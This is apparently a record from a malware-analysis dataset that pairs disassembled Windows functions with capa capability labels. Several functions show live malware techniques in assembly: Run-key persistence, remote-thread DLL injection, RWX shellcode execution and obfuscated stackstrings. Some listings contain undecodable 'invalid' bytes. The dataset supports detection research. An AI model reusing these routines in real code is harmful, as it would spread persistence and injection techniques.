joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40180b
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x401927
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x401a77
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401ada
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x401b9c
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x401b0f
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x401b9c
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x401b39
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x401b9c
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401b80
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x401b9c
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x401d0c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret
Function at 0x10001130
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xc7
lea eax, [ebp - 0xcb]
push 0
push eax
mov byte [ebp - 0xcc], 0
call sub.MSVCR100.dll_memset
mov edx, dword [ebp + 8]
lea ecx, [ebp + 0xc]
push ecx
push edx
lea eax, [ebp - 0xcc]
push 0xc8
push eax
call sub.MSVCR100.dll__vsnprintf
add esp, 0x1c
lea ecx, [ebp - 0xcc]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000817b
mov esp, ebp
pop ebp
ret

Function at 0x10003140
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jne 0x1000314a
call fcn.10002db7
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.10002df2
lahf
div dword [ebp - 0x17ba72ca]
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
invalid
inc ebp

Function at 0x10003280
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.10002df2
cwde
in al, dx
pop ebx
sub ecx, dword [ebp - 0x837b]
call dword [eax - 0x18]
sbb al, 0xfb
invalid
Function at 0x10003ae0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
je 0x10003cb0
cmp dword [ebp + 0xc], 8
jne 0x10003c78
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.10002e02
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10002db7
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
call dword [ebp - 0x690]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x6bc], eax
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x698], eax
call fcn.10002df2
inc esi
insd dword es:[edi], dx
sbb al, 0x16
push dword [ebp - 0x698]
lea eax, [ebp - 0x6c0]
push eax
push dword [ebp + 8]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10002fce
add esp, 0x14
call fcn.10002df2
hlt
call fcn.10002df2
shl dword [eax + 0x7e], cl
cdq
and byte [ebp - 0x544], 0
push 0
call dword [ebp - 0x340]
mov dword [ebp + 8], eax
push 0x104
lea eax, [ebp - 0x334]
push eax
push 0
call dword [ebp - 0x538]
call fcn.10002df2
int1
mov word [edi], ds
xchg dword [eax - 0x22f5b], eax
inc dword [eax]
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
invalid
invalid
invalid
invalid

Function at 0x10003d70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [eax + 0x38fffffc], esp
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
invalid
invalid

Function at 0x1000817b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10008185
repz ret
jmp fcn.1000851b
Function at 0x407950
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x3c
cmp dword [edx], 0x2c
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], ebp
je 0x407980
mov ebx, dword [esp + 0x2c]
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x34]
mov ebp, dword [esp + 0x38]
add esp, 0x3c
jmp fcn.00403e80
mov edx, dword [edx + 4]
mov edi, dword [edx + 8]
mov ebp, dword [edx + 4]
test edi, edi
je 0x407a08
lea ecx, [eax + 4]
mov edx, dword [eax + 0x104]
xor ebx, ebx
mov dword [esp + 0x1c], ecx
mov esi, eax
jmp 0x4079bc
mov ecx, edx
add edx, 1
add ebx, 1
cmp edi, ebx
mov byte [esi + ecx + 4], al
mov dword [esi + 0x104], edx
mov byte [esi + 0x108], al
je 0x407a08
cmp edx, 0xff
movzx eax, byte [ebp + ebx]
jne 0x4079a0
mov edx, dword [esi + 0x110]
mov byte [esi + 0x103], 0
mov byte [esp + 0x18], al
mov dword [esp + 4], 0xff
mov dword [esp + 8], edx
mov edx, dword [esp + 0x1c]
mov dword [esp], edx
call dword [esi + 0x10c]
mov edx, 1
xor ecx, ecx
add dword [esi + 0x124], 1
movzx eax, byte [esp + 0x18]
jmp 0x4079a5
mov ebx, dword [esp + 0x2c]
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x34]
mov ebp, dword [esp + 0x38]
add esp, 0x3c
ret

Function at 0x407a20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, eax
sub esp, 0x28
mov eax, dword [edx]
cmp eax, 6
je 0x407a31
test eax, eax
jne 0x407a40
add esp, 0x28
mov eax, ebx
pop ebx
jmp fcn.00403e80
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
lea ecx, [eax + 1]
je 0x407a90
mov byte [ebx + eax + 4], 0x28
mov eax, ebx
mov dword [ebx + 0x104], ecx
mov byte [ebx + 0x108], 0x28
call fcn.00403e80
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
lea edx, [eax + 1]
je 0x407ad0
mov byte [ebx + eax + 4], 0x29
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x29
add esp, 0x28
pop ebx
ret
mov eax, dword [ebx + 0x110]
mov dword [esp + 0x1c], edx
mov byte [ebx + 0x103], 0
mov dword [esp + 4], 0xff
mov dword [esp + 8], eax
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
mov ecx, 1
xor eax, eax
add dword [ebx + 0x124], 1
mov edx, dword [esp + 0x1c]
jmp 0x407a50
mov eax, dword [ebx + 0x110]
mov byte [ebx + 0x103], 0
mov dword [esp + 4], 0xff
mov dword [esp + 8], eax
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
mov edx, 1
xor eax, eax
add dword [ebx + 0x124], 1
jmp 0x407a79

Function at 0x408450
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.004084b0
Function at 0x4084b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, ecx
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x4c
mov ecx, dword [0x48505c]
mov dword [esp + 0x1c], edx
test ecx, ecx
jle 0x4085b9
mov eax, dword [0x485058]
xor esi, esi
mov edx, dword [eax + 4]
cmp ebx, edx
jb 0x4084e9
mov edi, dword [eax + 8]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x40856c
add esi, 1
add eax, 0xc
cmp esi, ecx
jne 0x4084d4
mov dword [esp], ebx
call fcn.004089b0
test eax, eax
mov edi, eax
je 0x4085e0
lea edx, [esi + esi*2]
mov esi, dword [0x485058]
shl edx, 2
add esi, edx
mov dword [esi + 8], eax
mov dword [esi], 0
mov dword [esp + 0x18], edx
call fcn.00408a90
mov edx, dword [esp + 0x18]
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [0x485058]
mov dword [esp + 8], 0x1c
mov eax, dword [eax + edx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
sub esp, 0xc
test eax, eax
mov edx, dword [esp + 0x18]
je 0x4085c0
mov eax, dword [esp + 0x38]
cmp eax, 4
jne 0x408588
add dword [0x48505c], 1
mov eax, dword [esp + 0x1c]
mov dword [esp + 8], ebp
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
cmp eax, 0x40
je 0x408565
mov eax, dword [esp + 0x30]
add edx, dword [0x485058]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0xc], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
sub esp, 0x10
jmp 0x408565
xor esi, esi
jmp 0x4084f3
mov eax, dword [0x485058]
mov eax, dword [eax + edx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00408450
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00408450

Function at 0x4088a0
Capabilities:
Parse pe header

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
cmp word [edx], 0x5a4d
je 0x4088b0
repz ret
add edx, dword [edx + 0x3c]
cmp dword [edx], 0x4550
jne 0x4088ad
xor eax, eax
cmp word [edx + 0x18], 0x10b
sete al
ret

Function at 0x408e70
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4853c4
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov ebx, dword [0x4853dc]
sub esp, 4
test ebx, ebx
je 0x408ec5
mov ebp, dword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.DLL_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x408ebe
test esi, esi
je 0x408ebe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x408ea0
mov dword [esp], 0x4853c4
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x409260
Capabilities:
Allocate thread local storage

Disassembly:
sub esp, 0x1c
mov dword [esp + 0x10], ebx
mov ebx, dword [0x4853e4]
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], edi
test ebx, ebx
je 0x4092f0
mov edi, dword [0x476010]
test edi, edi
je 0x4092cd
test ebx, ebx
je 0x4092cd
mov esi, dword [ebx]
test esi, esi
jne 0x4092ba
mov eax, 1
lock xadd dword [ebx + 4], eax
cmp eax, 0xffffffff
je 0x409301
mov ecx, dword [ebx]
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
test ecx, ecx
jne 0x4092ba
mov dword [esp], 0
call esi
mov edx, dword [ebx]
sub esp, 4
test edx, edx
je 0x4092a8
mov eax, dword [0x4853e8]
test eax, eax
je 0x409353
mov eax, dword [eax]
test eax, eax
jns 0x4092dc
mov eax, dword [0x4853e8]
test eax, eax
je 0x409347
mov dword [eax], 0
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
add esp, 0x1c
ret
call fcn.00409230
mov ebx, eax
mov dword [0x4853e4], eax
jmp 0x409279
mov esi, dword [0x4853e8]
test esi, esi
je 0x40937e
mov edi, dword [0x4853ec]
test edi, edi
je 0x40936a
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
cmp eax, 0xffffffff
je 0x409362
mov dword [edi], eax
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004113e0
test eax, eax
sete al
movzx eax, al
mov dword [esi], eax
mov dword [ebx], 1
jmp 0x4092ba
call fcn.00409200
mov dword [0x4853e8], eax
jmp 0x4092d6
call fcn.00409200
mov dword [0x4853e8], eax
jmp 0x4092c7
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x409332
lea esi, [esi]
call fcn.004091d0
mov edi, eax
mov dword [0x4853ec], eax
jmp 0x409315
call fcn.00409200
mov esi, eax
mov dword [0x4853e8], eax
jmp 0x40930b
Function at 0x409480
Capabilities:
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
mov esi, eax
push ebx
mov ebx, edx
sub esp, 0x3c
mov edx, dword [eax + 0xc]
mov dword [esp + 0x28], edx
mov edx, dword [eax + 0x10]
mov eax, dword [ebx]
mov dword [esp + 0x2c], edx
jmp 0x4094cd
mov eax, dword [0x4853ec]
test eax, eax
je 0x409601
mov dword [esp + 4], edi
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
sub esp, 8
test eax, eax
je 0x4095a1
mov eax, dword [ebx]
mov eax, dword [eax]
mov dword [ebx], eax
test eax, eax
je 0x409590
mov ebp, dword [eax + 0x18]
xor edi, edi
mov eax, 0xa
mov edx, dword [esp + 0x2c]
mov ecx, dword [esi + 4]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], esi
mov dword [esp + 0x18], edx
mov edx, dword [esi]
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], 1
mov dword [esp + 8], edx
call dword [esp + 0x28]
test eax, eax
jne 0x4095d0
cmp edi, 5
je 0x4095d5
test ebp, ebp
nop
je 0x409558
mov eax, dword [esi]
mov edx, dword [esi + 4]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], esi
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 4], 0xa
mov dword [esp], 1
call ebp
cmp eax, 7
mov edi, eax
je 0x4095d5
cmp eax, 8
jne 0x4095d0
mov eax, dword [ebx]
mov edi, dword [eax]
mov eax, dword [0x4853e8]
test eax, eax
je 0x4095e0
mov eax, dword [eax]
test eax, eax
js 0x4095b0
mov eax, dword [0x4853e8]
test eax, eax
je 0x4095c0
mov eax, dword [eax]
test eax, eax
jne 0x4094a0
mov eax, dword [0x4853f0]
test eax, eax
je 0x4095f0
mov dword [eax], edi
jmp 0x4094c7
xor ebp, ebp
mov edi, 5
mov eax, 0x1a
jmp 0x4094df
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x4094c7
call fcn.00409260
mov eax, dword [0x4853e8]
test eax, eax
jne 0x409574
nop
call fcn.00409200
mov dword [0x4853e8], eax
jmp 0x409574
mov edi, 2
add esp, 0x3c
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.00409200
mov dword [0x4853e8], eax
jmp 0x409565
call fcn.004091a0
mov dword [0x4853f0], eax
mov dword [eax], edi
jmp 0x4094c7
call fcn.004091d0
mov dword [0x4853ec], eax
jmp 0x4094ad
Function at 0x409610
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
sub esp, 0x2c
mov eax, dword [0x4853e8]
mov dword [esp + 0x1c], ebx
mov ebx, dword [esp + 0x30]
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], edi
test eax, eax
mov dword [esp + 0x28], ebp
je 0x4096f2
mov eax, dword [eax]
test eax, eax
js 0x4096e8
mov eax, dword [0x4853e8]
test eax, eax
je 0x409701
mov eax, dword [eax]
test eax, eax
je 0x4096c0
mov eax, dword [0x4853ec]
test eax, eax
je 0x409710
mov esi, dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebp, dword [eax]
call esi
mov dword [esp], ebp
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
sub esp, 4
mov ebp, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.DLL_SetLastError]
mov eax, dword [0x4853ec]
mov dword [ebx], ebp
sub esp, 4
test eax, eax
je 0x409743
mov dword [esp + 4], ebx
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
sub esp, 8
test eax, eax
je 0x4096d1
mov ebx, dword [esp + 0x1c]
mov esi, dword [esp + 0x20]
mov edi, dword [esp + 0x24]
mov ebp, dword [esp + 0x28]
add esp, 0x2c
ret
mov eax, dword [0x4853f0]
test eax, eax
je 0x409720
mov edx, dword [eax]
mov dword [ebx], edx
mov dword [eax], ebx
jmp 0x4096a9
mov edx, esi
mov ebx, dword [esp + 0x1c]
mov esi, dword [esp + 0x20]
mov edi, dword [esp + 0x24]
mov ebp, dword [esp + 0x28]
add esp, 0x2c
jmp edx
call fcn.00409260
jmp 0x40963e
call fcn.00409200
mov dword [0x4853e8], eax
jmp 0x409634
call fcn.00409200
mov dword [0x4853e8], eax
jmp 0x40964b
call fcn.004091d0
mov dword [0x4853ec], eax
jmp 0x40965e
call fcn.004091a0
mov dword [0x4853f0], eax
mov edx, dword [eax]
test eax, eax
mov dword [ebx], edx
jne 0x4096cd
call fcn.004091a0
mov dword [0x4853f0], eax
mov dword [eax], ebx
jmp 0x4096a9
call fcn.004091d0
mov dword [0x4853ec], eax
jmp 0x409693

Function at 0x409760
Capabilities:
Set thread local storage value

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [esp + 0x20]
mov ebx, dword [eax]
mov eax, dword [0x4853e8]
test eax, eax
je 0x4097e3
mov edx, dword [eax]
test edx, edx
js 0x4097d0
mov eax, dword [0x4853e8]
test eax, eax
je 0x4097d7
mov eax, dword [eax]
test eax, eax
je 0x4097b0
mov eax, dword [0x4853ec]
test eax, eax
je 0x409800
mov dword [esp + 4], ebx
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
sub esp, 8
test eax, eax
je 0x4097c0
add esp, 0x18
pop ebx
ret
mov eax, dword [0x4853f0]
test eax, eax
je 0x4097f0
mov dword [eax], ebx
add esp, 0x18
pop ebx
ret
mov eax, dword [sym.imp.KERNEL32.DLL_GetLastError]
add esp, 0x18
pop ebx
jmp eax
call fcn.00409260
jmp 0x409779
call fcn.00409200
mov dword [0x4853e8], eax
jmp 0x409782
call fcn.00409200
mov dword [0x4853e8], eax
jmp 0x409773
call fcn.004091a0
mov dword [0x4853f0], eax
mov dword [eax], ebx
jmp 0x4097bb
call fcn.004091d0
mov dword [0x4853ec], eax
jmp 0x409791